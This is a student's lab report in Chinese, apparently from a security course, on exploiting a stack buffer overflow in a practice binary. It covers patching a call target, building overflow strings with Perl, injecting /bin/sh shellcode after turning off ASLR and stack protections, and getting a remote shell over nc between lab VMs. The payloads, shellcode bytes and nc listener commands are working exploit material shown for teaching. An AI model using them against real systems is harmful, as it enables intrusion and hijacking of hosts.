20202413 2022-2023-2 《网络与系统攻防技术》实验一实验报告

该实验报告详细记录了对《网络与系统攻防技术》课程实验的过程,涉及通过修改程序机器指令改变执行流程、构造BOF攻击和注入Shellcode以获取shell。实验中使用了vi、wxHexEditor、gdb等工具,通过分析汇编代码、调整字节序以及利用Perl构造输入,最终实现了远程攻击模拟。
摘要由CSDN通过智能技术生成

20202413 2022-2023-2 《网络与系统攻防技术》实验一实验报告

1.实验内容

1.1 实践目标

  • 通过vi或16进制编辑器wxHexEditor两种方式手工修改可执行文件,改变程序执行流程
  • 利用foo函数的bof漏洞,构造攻击输入字符串
  • 通过缓冲区输入注入一个shellcode并能够正常运行

1.2 基础知识

  • 复习了linux下基本命令行操作

  • 复习了gdb调试的方法

  • 复习了markdown语法,掌握了设定锚实现页内自由跳转

  • 学习了简单的汇编基础知识,明确了Intel汇编和AT&T汇编指令的部分区别

  • 深入学习了bof的基本原理
    注意将程序执行时堆栈的情况具体化,否则在实验分析时对于地址的增长或减小会犯糊涂

  • 掌握了NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP:机器码为0x90。NOP指令即“空指令”,执行到NOP指令时,CPU什么也不做,完毕之后继续执行NOP后面的一条指令
    • JNE:机器码为0x75。JNE是条件转移指令,如果不相等则跳转
    • JE:机器码为0x74。JE是条件转移指令,如果相等则跳转
    • JMP:无条件跳转指令。JMP主要分为3种:
      • 短跳转:机器码为0xE8。只能跳转到256字节的范围内
      • 近跳转:机器码为0xE9。可跳至同一个段范围内的地址
      • 远跳转:机器码为0xEA。可跳至任意地址,使用48位/32位全指针
    • CMP:比较指令,功能相当于减法指令,对操作数之间运算比较,不保存结果。CMP指令也有多种形式,分别代表不同的功能,机器码分别为0x38、0x39、0x3A、0x3B、0x3C、0x3D

2.实验过程

2.1 实验环境准备

2.2 直接修改程序机器指令,改变程序执行流程

2.2.1 反汇编
objdump -d pwn20202413 | more	#more用来分页显示。如果不加more会一次性显示所有内容
/getShell						#直接查找getShell函数所在地址,查找其他函数同理

  • main函数会通过call调用foo函数,相应的机器指令为“e8 d7ffffff”,e8即跳转之意
  • 正常流程下,eip中存储的是下一条指令的地址,即80484ba。但解释完e8这条指令以后,程序会转而执行 ”eip + e8后面的四字节地址“ 这个位置的指令
  • 因此,eip = 80484ba + fffffd7 = 8048491(注意d7ffffff是补码,并且是小端模式,需要符合”高对高,低对低“的原则),刚好就是foo函数的地址
  • 如果我们想让它直接跳转到getShell函数,只要修改“d7ffffff”为 "getShell函数的地址 - 80484ba"对应的补码”ffffffc3“就行。
2.2.2 修改地址
  • 我们需要修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

  • 方法一:命令行通过vi指令修改

vi pwn20202413	                #进入目标文件
:%!xxd							#转换为16进制
/d7								#查找要修改的内容
rcr3							#将“d7”修改为c3
:%!xxd -r 						#转换为原格式。若没有此步直接保存,pwn文件将会损坏!!!
:wq								#保存退出
objdump -d pwn20202413 | more	#反汇编检查修改是否正确

方法二:使用16进制编辑器wxHexEditor修改,图形化界面方便查看,这里采用此方法

apt-get install wxhexeditor	#安装
wxHexEditor					#命令行打开,也可以直接打开

在这里插入图片描述
再次对pwn20202413反汇编,检验是否修改正确。在这里插入图片描述

2.2.3 实验结果

运行pwn20202413,程序执行流程改变。
原先程序会回显输入的字符串,现在会出现一个shell,可以输入指令。

./pwn20202413	#运行

在这里插入图片描述

2.3 通过构造输入参数,造成BOF攻击,改变程序执行流

2.3.1 反汇编的分析

在这里插入图片描述

  • 本实验环境下EBP和EIP存储的地址大小为4字节
  • 经分析,foo函数预留0x38(56字节)给局部变量,预留0x1c(28字节)给读入的字符串。若读入的字符串长度大于28字节则会发生缓冲区溢出,长度大于32字节则会覆盖到EIP位置。只要我们构造的字符串能够溢出到EIP所在位置,将原来的返回地址“80484ba”覆盖为getShell函数的地址“804847d”,程序就会直接跳转到getShell函数去执行,而不再执行foo函数。
2.3.2 确认哪几个字符会覆盖返回地址
gdb -v	 		#检查是否已安装gdb,如果未显示版本号则需自行安装
gdb pwn20202413	#调试程序pwn20202413

在这里插入图片描述

(gdb) r	#run

输入长度为36字节的字符串“123456789876543212345678987654321234”,回车后提示发生段错误。
在这里插入图片描述

(gdb) info r eip	#查看当前EIP寄存器的值

在这里插入图片描述可见eip寄存器的值为0x34333231,对应1234(小端)的ASCII码。因此只要把这4个字符替换为 getShell 函数的地址即可实现跳转。

2.3.3 确认字节序,构造字符串
  • 由前面的反汇编可知,getShell的内存地址为0x0804847d。再根据小端模式,确定应该输入的字符串为:任意32个字符 + \x7d\x84\x04\x08。
  • “\x7d\x84\x04\x08”无法通过键盘输入。因此需要使用Perl语言先生成包括这样字符串的一个文件:
perl -e 'print "12345678987654321234567898765432\x7d\x84\x04\x08\x0a"' > input20202413	#\x0a表示回车,若没有,则程序运行时需要手动回车
xxd input20202413	#验证构造的字符串是否符合预期

在这里插入图片描述

2.3.4 实验结果
(cat input20202413; cat) | ./pwn20202413	#通过管道符,将input20202413的输入作为pwn20202413的输入

在这里插入图片描述可见攻击成功,获取了一个shell。

2.4 注入Shellcode并执行

2.4.1 准备shellcode
  • 直接使用前两个实验所用的shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\	#获取一个交互式shell
2.4.2 准备工作
  • 设置堆栈可执行,否则通过缓冲区注入的shellcode将无法被执行:
sudo apt-get install execstack	#安装execstack
execstack -s pwn20202413	#设置堆栈可执行
execstack -q pwn20202413	#检查堆栈的可执行权限,X表示可执行

问题3:安装execstack时出现E:Unable to locate package execstack报错

  • 关闭地址随机化,否则每次运行地址都会改变,导致shellcode注入失败:
more /proc/sys/kernel/randomize_va_space		#查询地址随机化是否开启,2表示增加了栈的随机化
echo "0" > /proc/sys/kernel/randomize_va_space 	#关闭地址随机化

问题4:关闭地址随机化时出现zsh: permission denied: /proc/sys/kernel/randomize_va_space报错

在这里插入图片描述

2.4.3 构造要注入的payload
  • 关闭地址随机化后,返回地址retaddr位置固定,shellcode既可以放在返回地址前面,也可以放在返回地址后面。由于缓冲区大小足够放下shellcode,不妨先放前面,即nop+shellcode+retaddr的构造形式。
  • 目前我们已知返回地址的值,但是并不知道shellcode的起始地址,故不知道用什么值来覆盖返回地址。因此需要通过gdb调试来获得:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input2413	#构造测试字符串。结尾必须为“\x00”,通过人工输入回车便于断点的设置

打开两个终端。一个运行pwn20202413,另一个进行gdb调试:

(cat input2413;cat) | ./pwn20202413	#终端1。运行pwn20202413。此时不要按回车!!!
ps -ef | grep pwn20202413			#终端2。找到相应的进程号
gdb							        #终端2。启动gdb调试进程

在这里插入图片描述

(gdb) attach 127717		#绑定调试进程
(gdb) disassemble foo	#对foo函数进行反汇编,方便查看设置断点的位置
(gdb) break *0x080484ae	#在执行ret指令之前设置断点。因为foo函数执行完ret指令后,EIP寄存器的值将被覆盖,以此作为一个临界点
(gdb) c 				#continue。此时gdb调试进程将被阻塞,等待pwn20202413进程的缓冲区输入。
#这个时候在终端1手动敲回车,进程pwn20202413将在foo函数的leave指令执行之后被断点阻塞(注意理解汇编层面的断点调试)。

在这里插入图片描述
在这里插入图片描述
此时查看寄存器的值:

(gdb) info r	#查看所有寄存器的值

在这里插入图片描述接下来单步执行进程pwn20202413:

(gdb) si	#注意汇编层面!!!

在这里插入图片描述

  • EIP的值符合预期。
  • ESP的值增大了4个字节。之前因call指令被压入栈中的EIP值被出栈,符合栈向下生长的性质。

接着回归初心,寻找shellcode的起始地址:

(gdb) x/16x 0xffffcfec	#选择单步执行前ESP寄存器的值,此时栈顶处必然是函数返回地址的位置
(gdb) x/16x 0xffffcfcc	#0xffffcfec对应字符串尾部,字符串头部在低地址32个字节处,即0xffffcfcc

在这里插入图片描述

  • 由调试过程可知,输入字符的前32字节将从内存地址0xffffcfcc开始填充,33~36字节将从0xffffcfec处开始填充,36字节之后将从0xffffcff0处开始填充。因为shellcode放在返回地址前,不妨将shellcode的起始地址设为0xffffcfcc:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xcc\xcf\xff\xff\x00"' > input2413_1	#构造攻击字符串

在这里插入图片描述
同指导书一样,出现段错误。下面通过gdb进行单步调试分析报错原因:

在这里插入图片描述
对照shellcode的汇编依次比对:
在这里插入图片描述不难发现是push %ebx这条语句出的错。具体原因由于本人能力有限,未能弄清楚。

故这种构造方式不可行,需要采用anything+retaddr+nops+shellcode的构造形式。在这种情况下,根据前文分析,我们需要把shellcode的起始地址设置为0xffffcff0。

2.4.4 实验结果
perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input2413_2	#构造攻击字符串

在这里插入图片描述发现成功获取shell,攻击成功。

2.5 结合nc模拟远程攻击

实验环境:本机上的两个linux虚拟机,靶机为kali,攻击机为ubuntu。二者可互相ping通。
问题5:靶机和攻击机无法互相ping通

对靶机:
IP:192.168.3.22

nc -lvnp 1324 -e ./pwn20202413	#靶机模拟一个有漏洞的网络服务

对攻击机:
IP:192.168.3.21

perl -e 'print "12345678987654321234567898765432\x7d\x84\x04\x08\x0a"' > input20202413	#构造攻击字符串
(cat input20202413; cat) | nc 192.168.3.22 1324	#发起远程攻击

在这里插入图片描述
在这里插入图片描述可见攻击机成功获取了靶机的shell。

3.问题及解决方案

  • 问题1:主机与kali虚拟机进行文件传输
  • 问题1解决方案:
    • 方案1:通过微信网页版。由于kali内置了火狐浏览器,因此很方便通过微信传输文件
    • 方案2:通过ftp工具。我使用的是FileZilla。如果ftp连接被拒绝,则需要修改/etc/ssh/sshd_config文件的某些字段
    • 方案3:建立共享文件夹。需要安装VMware Tools,不推荐
  • 问题2:出现zsh: permission denied报错
  • 问题2解决方案:
chmod +x pwn20202413	#赋予可执行文件执行权限
  • 问题3:安装execstack时出现E:Unable to locate package execstack报错
  • 问题3解决方案:
    Kali Linux E:Unable to locate package 完美解决!
    同时推荐给kali换源,中科大源体验良好:
    KALI系统更换为国内的源(2023)
  • 问题4:关闭地址随机化时出现zsh: permission denied: /proc/sys/kernel/randomize_va_space报错
  • 问题4解决方案:
    不能直接在前面加上sudo,必须先通过sudo su进入root模式,再关闭地址随机化。
    问题5:靶机和攻击机无法互相ping通
  • 问题5解决方案:
    将靶机和攻击机的网络适配器设置均设置为桥接模式即可(防火墙已经关闭)。

4.学习感悟、思考等

  • 通过本次三个实验的环环相扣,我对bof漏洞的原理有了深入的学习和理解。实验本身并不难,照着指导书敲指令肯定能做出结果来。我感觉最难的部分在于对实验操作的理解。一是对栈的机制要有深入的了解和思考;二是要熟悉汇编层面的断点调试;三是对实验的每一个小步骤,都要思考为什么要这么做,要把整体的实验逻辑串起来,不能做一步忘一步。
  • 实验过程中仍然有一个问题我没有搞明白。即为什么使用(cat input; cat)来作为可执行文件pwn的输入。为什么使用(cat input)或(cat input;)时会发生段错误?我个人的研究进展止步于dmesg查看报错信息和生成段错误的core文件,对于报错信息的分析能力还是太弱了。

参考资料

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值